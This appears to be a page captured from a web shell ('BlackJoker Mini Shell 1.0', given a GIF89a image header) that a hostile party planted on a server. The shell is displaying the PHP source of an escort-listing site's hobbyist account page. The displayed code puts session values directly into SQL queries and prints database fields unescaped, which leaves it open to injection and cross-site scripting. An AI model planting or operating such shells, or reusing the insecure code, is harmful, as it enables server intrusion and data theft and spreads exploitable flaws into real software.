GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/m/
Upload File :
Current File : /home/serb/www/m/hobbyist-account.php

<?
session_start();
if(!($_SESSION['islogin']))
  {
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }

//include("config.php");
include("lib/globals.php");
include("lib/common.php");
include("lib/functions.php");
/*$sql="SELECT * FROM page_content WHERE id='45'";
$res=execute_query($sql);
$row=mysql_fetch_array($res);*/
?>



<!DOCTYPE html> 
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="height=device-height,width=device-width,initial-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<title>Escort Service - Premiere Escort Listings,Escorts,Female Escorts,Models,Call Girls,GEF,Companions</title>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic' rel='stylesheet' type='text/css'>
  <link rel="stylesheet" href="themes/escserve.css" />
  <link rel="stylesheet" href="themes/jquery.mobile.icons.min.css" />
  <link rel="stylesheet" href="jMobile.css" /> 
  <script src="jquery.min.js"></script> 
  <script src="jqueryMobile.js"></script>
  
  
  <script language="javascript">

	function openmobilecareer(ctname)
	{
		if(ctname=='US')
		{
		  document.getElementById('openus').style.display="block";
		  document.getElementById('openother').style.display="none";
		}
		else
		{
			document.getElementById('openother').style.display="block";
			document.getElementById('openus').style.display="none";
		}
	}
	
	
	
	</script>
    <script type="text/javascript">
function selectCity(country_id){
	if(country_id!="-1"){
		loadData('state',country_id);
		$("#city_dropdown").html("<option value='-1'>Select city</option>");	
	}else{
		$("#state_dropdown").html("<option value='-1'>Select state</option>");
		$("#city_dropdown").html("<option value='-1'>Select city</option>");		
	}
}

function selectState(state_id){
	if(state_id!="-1"){
		loadData('city',state_id);
	}else{
		$("#city_dropdown").html("<option value='-1'>Select city</option>");		
	}
}

function loadData(loadType,loadId){
	var dataString = 'loadType='+ loadType +'&loadId='+ loadId;
	$("#"+loadType+"_loader").show();
    $("#"+loadType+"_loader").fadeIn(400).html('Please wait...');
	$.ajax({
		type: "POST",
		url: "loadData.php",
		data: dataString,
		cache: false,
		success: function(result){
			$("#"+loadType+"_loader").hide();
			$("#"+loadType+"_dropdown").html("<option value='-1'>Select "+loadType+"</option>");  
			$("#"+loadType+"_dropdown").append(result);  
		}
	});
}
</script>
  
</head> 
<body> 
<div data-role="page" id="page" data-theme="d" data-transition="flip">
	<div id="headerTop"></div>    
    <? include "includes/header.php";?>
   <!-- <div data-role="content" id="searchboxx">
    	<div data-role="fieldcontain" id="ser" data-iconpos="right">            
            <input type="search" name="search-2" id="search-2" value="" />
        </div>	
    </div>-->
    
	<div data-role="content">
    
     <h2 id="loginheadertext">Hobbyist Account</h2>
    	<?
		  $sql_email="SELECT * FROM user_info WHERE userid='".$_SESSION['userid']."'";
		  $res_email=execute_query($sql_email);
		  $row_email=mysql_fetch_array($res_email);
		?>
        <? if($_GET['msg']==1)
		{?>
         <p id="loginalertmsg">Your account has been Updated successfully.</p>
         <? }?> 
        <!--<p id="alsignup">Do you have a promo code? <a href="#" data-transition="flip"  id="loginnow">Redeem it now, before you register!</a></p>-->
       <!-- <p id="loginalertmsg">
        	Please use your EscortService username and password to login bellow.
        </p>
        <p id="loginalertmsg">
        	Need to Register? <a href="join.html" id="jointextcolor" data-transition="flip" data-prefetch>Get Started Now!</a>
        </p>-->
        <form action="hobbyistprofile-update.php" method="post" name="f1" data-ajax="false" enctype="multipart/form-data" onSubmit="return validate();">
            <input name="submit_form" value="1" type="hidden">
            <label for="txt-cfpassword">Username:</label>
                <input type="text" name="namehobby" id="txt-cfpassword" value="<?=$row_email['username']?>">
            
        	 <label for="file">Picture:</label>
             <img id="imgprvw" src="profile_pic/<?=$row_email['pic']?>"  style="width:120px; height:150px; vertical-align:middle; border:1px solid #D4D3D3;"/>
             <input type="hidden" name="agencylogo" value="<?=$row_email['pic']?>" >
             
			   <input name="avt_image" id="file1" type="file">
               
               <h3 id="termconditionpost">Contact Info</h3>
               
                <label for="txt-cfpassword">Email:</label>
                <input type="text" name="email" id="txt-cfpassword" value="<?=$row_email['email']?>">
                
                <label for="txt-cfpassword">Skype:</label>
                <input type="text" name="skype" id="txt-cfpassword" value="<?=$row_email['skype']?>" >
                
                <label for="txt-cfpassword">MSN:</label>
                <input type="text" name="msn" id="txt-cfpassword" value="<?=$row_email['msn']?>">
                
                
                
                <h3 id="termconditionpost">About Me</h3>                      
                 
                 <label for="txt-cfpassword">Tell us more about you:</label>
                 <textarea cols="40" rows="8" name="aboutme" id="txt-cfpassword"><?=stripslashes($row_email['agency_about'])?></textarea>
             
              
              
             
              
               <br/>
                
                <input type="image" src="continue.png" style="height:35px; margin-top:10px;">
                
                
                
             </form>
            
           
           <!-- <fieldset data-role="controlgroup">
                <input type="checkbox" name="chck-rememberme" id="chck-rememberme" checked="">
                <label for="chck-rememberme">Remember me</label>
            </fieldset>-->
                       
            <div data-role="popup" id="dlg-invalid-credentials" data-dismissible="false" style="max-width:400px;">
                <div role="main" class="ui-content">
                    <h3 class="mc-text-danger">Login Failed</h3>
                    <p>Did you enter the right credentials?</p>
                    <div class="mc-text-center"><a href="#" data-rel="back" class="ui-btn ui-corner-all ui-shadow ui-btn-b mc-top-margin-1-5">OK</a></div>
                </div>
            </div>
        
        
        
	  	
	</div>
    <div data-role="panel" data-display="push" data-position="right" data-theme="d" id="navMenu">
       <? include "includes/right-menubar.php";?>
    </div><!-- /panel -->
	<div data-role="footer" >
    	<div  id="footerTop">
	
        	 <? include "includes/footer.php";?>
           
	</div>
		<div id="footerBottom"><p>Copyright 2015 ESCORTSERVICE.ORG | All Rights reserved.</p></div>
	</div>
</div>
</body>
</html>

./BlackJoker Mini Shell 1.0